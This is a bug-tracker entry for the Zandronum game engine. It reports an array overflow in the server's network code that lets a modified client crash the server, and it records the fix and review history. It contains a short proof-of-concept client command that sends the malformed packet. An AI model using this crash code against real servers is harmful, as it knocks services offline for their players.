MantisBT - Zandronum
View Issue Details
0002694Zandronum[All Projects] Bugpublic2016-04-02 22:112018-09-30 22:33
Dusk 
Dusk 
normalexploitalways
closedfixed 
3.0-beta 
3.0 
0002694: Modified client can crash the server using the special cheat
The server reads in special args and stores them in an array of 5... but can read in more than 5 args. This can be exploited to crash the server. Since this is done in network reading code, sv_cheats does not have to be enabled.

#include "c_dispatch.h"
CCMD (crashserver)
{
    NETWORK_WriteByte( &CLIENT_GetLocalBuffer( )->ByteStream, CLC_SPECIALCHEAT );
    NETWORK_WriteByte( &CLIENT_GetLocalBuffer( )->ByteStream, 123 );
    NETWORK_WriteByte( &CLIENT_GetLocalBuffer( )->ByteStream, 10 );

    for ( unsigned int i = 0; i < 10; ++i )
        NETWORK_WriteLong( &CLIENT_GetLocalBuffer( )->ByteStream, 123 );
}
No tags attached.
child of 0002620closed Dusk the 'special' cheat does not work online 
diff 2694-fix.diff (621) 2016-04-02 22:41
/tracker/file_download.php?file_id=1778&type=bug
Issue History
2016-04-02 22:11DuskNew Issue
2016-04-02 22:12DuskSummaryClient can crash the server using the special cheat => Modified client can crash the server using the special cheat
2016-04-02 22:19DuskRelationship addedchild of 0002620
2016-04-02 22:39DuskNote Added: 0014647
2016-04-02 22:40DuskFile Added: 2694-fix.diff
2016-04-02 22:41DuskFile Deleted: 2694-fix.diff
2016-04-02 22:41DuskFile Added: 2694-fix.diff
2016-04-02 22:41DuskAssigned To => Dusk
2016-04-02 22:41DuskStatusnew => needs review
2016-05-08 21:00Edward-sanNote Added: 0014843
2016-05-08 21:00Edward-sanStatusneeds review => needs testing
2016-12-24 22:43DuskTarget Version => 3.0
2017-02-17 10:09DuskStatusneeds testing => resolved
2017-02-17 10:09DuskResolutionopen => fixed
2017-02-17 10:09DuskView Statusprivate => public
2018-09-30 22:33Blzut3Statusresolved => closed

Notes
(0014647)
Dusk   
2016-04-02 22:39   
I've fixed this, but won't push till Monday since there's a testing event coming tomorrow. Diff attached.
(0014843)
Edward-san   
2016-05-08 21:00   
Added with changeset:'https://bitbucket.org/Torr_Samaho/zandronum/commits/b63775a6dd289626e3ac75aee8f6e68f0dd793a8 [^]' .